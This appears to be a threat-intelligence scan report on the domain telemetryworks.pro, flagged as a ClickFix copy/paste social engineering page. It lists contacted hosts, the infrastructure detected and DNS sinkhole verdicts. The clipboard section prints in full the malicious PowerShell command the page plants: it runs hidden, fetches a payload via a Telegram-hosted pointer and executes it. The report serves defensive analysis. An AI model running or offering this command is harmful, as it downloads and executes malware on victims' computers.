Report Overview
URL
telemetryworks.pro/
Finishing URL
telemetryworks.pro/
IP / ASN
172.67.180.139
Title
Just a moment...
Malicious - Copy/Paste Social Engineering (ClickFix)
Detections
urlquery
2
Network Intrusion Detection
0
Threat Detection Systems
8
Host Summary
| Host | Rank | Registered | First Seen | Last Seen | Sent | Received | IP | Fingerprints |
|---|---|---|---|---|---|---|---|---|
rpc.ankr.com | 541361 | 2007-04-23 | 2021-10-24 | 2026-08-05 | 501 B | 0 B | | |
polygon.gateway.tenderly.co | unknown | 2020-05-11 | 2025-08-03 | 2026-08-04 | 509 B | 514 B |  35.227.193.242 |    |
polygon.drpc.org | unknown | 2005-01-09 | 2023-12-16 | 2026-08-05 | 498 B | 758 B | 104.18.10.59 |  |
polygon.lava.build | 7157037 | 2023-09-14 | 2025-08-27 | 2026-08-05 | 500 B | 1.4 kB | 104.18.25.75 | |
blazerpro.pro 25 alert(s) on this Host | unknown | unknown | 2026-08-02 | 2026-08-02 | 3.1 kB | 431 kB | 172.67.211.20 | |
polygon-bor-rpc.publicnode.com | 2163006 | 2016-08-16 | 2024-04-26 | 2026-08-04 | 512 B | 765 B | 172.66.150.162 | |
upload.wikimedia.org | 4329 | 2003-03-16 | 2012-05-21 | 2026-08-03 | 579 B | 65 kB | 185.15.59.240 |  |
gateway.tenderly.co | 1960624 | 2020-05-11 | 2022-05-12 | 2026-08-05 | 515 B | 514 B | 35.227.193.242 | |
telemetryworks.pro 13 alert(s) on this Host | unknown | unknown | 2026-08-05 | 2026-08-05 | 1.6 kB | 23 kB | 172.67.180.139 | |
Google Cloud (IaaS)
Google Cloud is a suite of cloud computing services.Envoy (Reverse proxies)
Envoy is an open-source edge and service proxy, designed for cloud-native applications.Google Cloud CDN (CDN)
Cloud CDN uses Google's global edge network to serve content closer to users.Cloudflare (CDN)
Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.Cloudflare Bot Management (Security)
Cloudflare bot management solution identifies and mitigates automated traffic to protect websites from bad bots.Apache Traffic Server:9.2.13 (Web servers)
Apache Traffic Server is an open-source caching and proxying server that serves as an HTTP/1.1 and HTTP/2 reverse proxy with caching capabilities, load balancing, request routing, SSL termination, and support for advanced HTTP features.Related reports
Threat Detection Systems
| Detection System | Indicator | Verdict | Alert |
|---|---|---|---|
| DNS4EU | telemetryworks.pro | malicious | Sinkholed |
| Quad9 DNS | telemetryworks.pro | malicious | Sinkholed |
| Cloudflare DNS | telemetryworks.pro | malicious | Sinkholed |
| DigiCert UltraDNS | telemetryworks.pro | malicious | Sinkholed |
| DigiCert UltraDNS | blazerpro.pro | malicious | Sinkholed |
| DNS4EU | blazerpro.pro | malicious | Sinkholed |
| Quad9 DNS | blazerpro.pro | malicious | Sinkholed |
| Cloudflare DNS | blazerpro.pro | malicious | Sinkholed |
Clipboard Data (1)
Clipboard content
powershell -w h -nop -ep b -c "$w=[Net.WebClient]::new();$null=$w.DownloadString('https://t.me/+aTgFl8Lv8sVmNTA0')-match'ion[^>]*>(\S+)\s';$p=$env:PUBLIC+'\x';$w.DownloadFile('https://'+$matches[1]+'/rfy.dat?z=1',$p);gc $p|powershell -nop -c -"
JavaScript (4)
No JavaScripts
HTTP Transactions (16)
| URL | IP | Response | Size |
|---|